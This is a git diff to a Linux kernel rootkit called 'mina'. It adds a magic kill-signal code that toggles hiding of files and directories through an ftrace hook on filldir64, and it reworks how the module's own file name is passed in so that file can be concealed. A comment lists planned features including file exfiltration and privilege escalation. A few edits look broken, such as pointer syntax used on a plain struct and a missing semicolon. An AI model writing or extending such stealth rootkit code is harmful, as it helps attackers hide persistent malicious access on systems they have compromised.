diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -7,8 +7,9 @@
#include <linux/module.h>
#include <linux/slab.h>
-#define PERSISTENCE_CODE (50)
-#define TOGGLE_HIDE_CODE (60)
+#define PERSISTENCE_CODE (50)
+#define TOGGLE_HIDE_CODE (60)
+#define TOGGLE_FILEHIDE_CODE (70)
#define MAGIC_PID (1337)
diff --git a/rootkit/sources/mina.c b/rootkit/sources/mina.c
@@ -42,12 +42,13 @@ timestomping might be necessary from the dropper
- timestomping /usr/lib/modules-load.d
-- intercept TCP calls to read ICMP packets. REPL should be inside
- command-exec module (!!)
- keylogger ?
+- file-exfil
+- escalate privilege for process / hide process
- write silly dropper
-- write an ICMP client to interact with the rootkit
+- write a client/driver to interact with the rootkit
*/
MODULE_LICENSE("GPL");
@@ -62,6 +63,18 @@ MODULE_VERSION("0.0.1");
* Join here: https://discord.gg/66N5ZQppU7
*/
+/* ------============= STRUCTS ==============----- */
+typedef struct mina_settings {
+ int enable_file_hide;
+ int enable_dir_hide;
+} settings_t;
+
+settings_t settings = {
+ .enable_file_hide = 0,
+ .enable_dir_hide = 0
+};
+
+
/* ------============= HOOKS ==============----- */
#include "../includes/ftrace_helper.h"
@@ -74,7 +87,7 @@ static asmlinkage bool (*original_filldir64)(struct dir_context *ctx, const char
static asmlinkage bool hook_filldir64(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type) {
- if (strstr(name, HIDE_DIR) != NULL)
+ if (strstr(name, HIDE_DIR) != NULL && settings.enable_file_hide)
return true;
return original_filldir64(ctx, name, namlen, offset, ino, d_type);
@@ -97,6 +110,10 @@ asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
case TOGGLE_HIDE_CODE:
toggle_hide_module();
return 0;
+
+ case TOGGLE_FILEHIDE_CODE:
+ settings->enable_file_hide = (!settings->enable_file_hide);
+ return 0;
}
normalkill:
diff --git a/rootkit/sources/stealth.c b/rootkit/sources/stealth.c
@@ -10,6 +10,13 @@
#include "../includes/mina.h"
+
+/* ------============= GLOBALS ==============----- */
+static char *mina_module_name = NULL;
+module_param(mina_module_name, charp, S_IRUSR);
+
+
+/* ------============= STRUCTS ==============----- */
/* Simple struct to keep in memory the files we want to hide */
struct st_hide_file {
char *name;
@@ -32,14 +39,14 @@ static void file_unhide(char *name) {
static void file_hide(char *name) {
struct st_hide_file *_file;
+
if (name == NULL || name[0] == '\0') {
+ printk(KERN_INFO "[mina] module-name is null !")
return;
}
_file = kmalloc(sizeof(*_file), GFP_KERNEL);
if (!_file)
return;
- /* FIXME(djnn): this doesn't pass ? */
- printk(KERN_INFO "[mina] kmalloc OK\n");
_file->name = name;
list_add(&_file->list, &hide_files);
}
@@ -56,18 +63,12 @@ static int file_lookup_hidelist(char *name) {
}
static int toggle_hide_file(void) {
- /* module filename, that will we want to hide:) */
- static char module_name[512] = {0};
-
- if (*module_name == 0) {
- module_param_string(charp, module_name, 512, S_IRUSR);
- }
- if (!file_lookup_hidelist(module_name)) {
+ if (!file_lookup_hidelist(mina_module_name)) {
printk(KERN_INFO "[mina] hiding file\n");
- file_hide(module_name);
+ file_hide(mina_module_name);
} else {
printk(KERN_INFO "[mina] revealing file\n");
- file_unhide(module_name);
+ file_unhide(mina_module_name);
}
return 1;
}
| | |